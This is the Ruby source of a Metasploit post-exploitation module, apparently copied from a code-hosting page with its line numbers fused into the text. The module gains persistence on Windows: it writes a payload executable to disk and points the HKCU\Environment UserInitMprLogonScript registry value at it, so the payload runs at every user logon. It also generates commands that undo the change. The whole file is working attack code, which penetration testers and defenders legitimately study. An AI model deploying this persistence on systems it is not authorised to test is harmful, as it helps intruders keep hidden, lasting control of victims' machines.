Path: blob/master/modules/exploits/windows/persistence/userinit_mpr_logon_script.rb
57457 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::Windows::Registry9include Msf::Post::File10include Msf::Exploit::EXE11include Msf::Exploit::Local::Persistence12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Windows Persistence via UserInitMprLogonScript',19'Description' => %q{20This module establishes persistence by setting the UserInitMprLogonScript21value in HKCU\Environment. During user logon, userinit.exe checks this value22and executes the specified command or binary.2324The module writes a payload executable to disk and points25UserInitMprLogonScript to that payload.26},27'License' => MSF_LICENSE,28'Author' => ['Nayera'],29'Platform' => [ 'win' ],30'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],31'SessionTypes' => [ 'meterpreter', 'shell' ],32'Targets' => [33[ 'Automatic', {} ]34],35'References' => [36['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],37['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],38['URL', 'https://hadess.io/the-art-of-windows-persistence/']39],40'DefaultTarget' => 0,41'DisclosureDate' => '2015-07-01',42'Notes' => {43'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],44'Stability' => [CRASH_SAFE],45'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]46}47)48)4950register_options([51OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.'])52])53end5455def regkey56'HKCU\\Environment'57end5859def check60print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%')6162return CheckCode::Safe("#{writable_dir} does not exist") unless exists?(writable_dir)6364test_name = Rex::Text.rand_text_alpha(8)65test_value = Rex::Text.rand_text_alpha(8)66return CheckCode::Safe("Unable to write to registry path #{regkey}") unless registry_setvaldata(regkey, test_name, test_value, 'REG_SZ')6768registry_deleteval(regkey, test_name)6970CheckCode::Vulnerable('Registry path is writable')71end7273def install_persistence74payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))75payload_exe = generate_payload_exe76payload_pathname = "#{writable_dir}\\#{payload_name}.exe"7778vprint_good("Writing payload to #{payload_pathname}")79fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)8081old_value = registry_getvaldata(regkey, 'UserInitMprLogonScript')82registry_setvaldata(regkey, 'UserInitMprLogonScript', payload_pathname, 'REG_SZ')83print_good("Configured #{regkey}\\UserInitMprLogonScript to execute #{payload_pathname}")8485if old_value.nil?86@clean_up_rc = "reg deleteval -k '#{regkey}' -v 'UserInitMprLogonScript'\n"87else88escaped_old_value = old_value.gsub('\\', '\\\\')89@clean_up_rc = %(execute -f cmd.exe -a "/c reg add \\\"#{regkey}\\\" /v UserInitMprLogonScript /t REG_SZ /d \\\"#{escaped_old_value}\\\" /f" -H\n)90end91@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"92end93end949596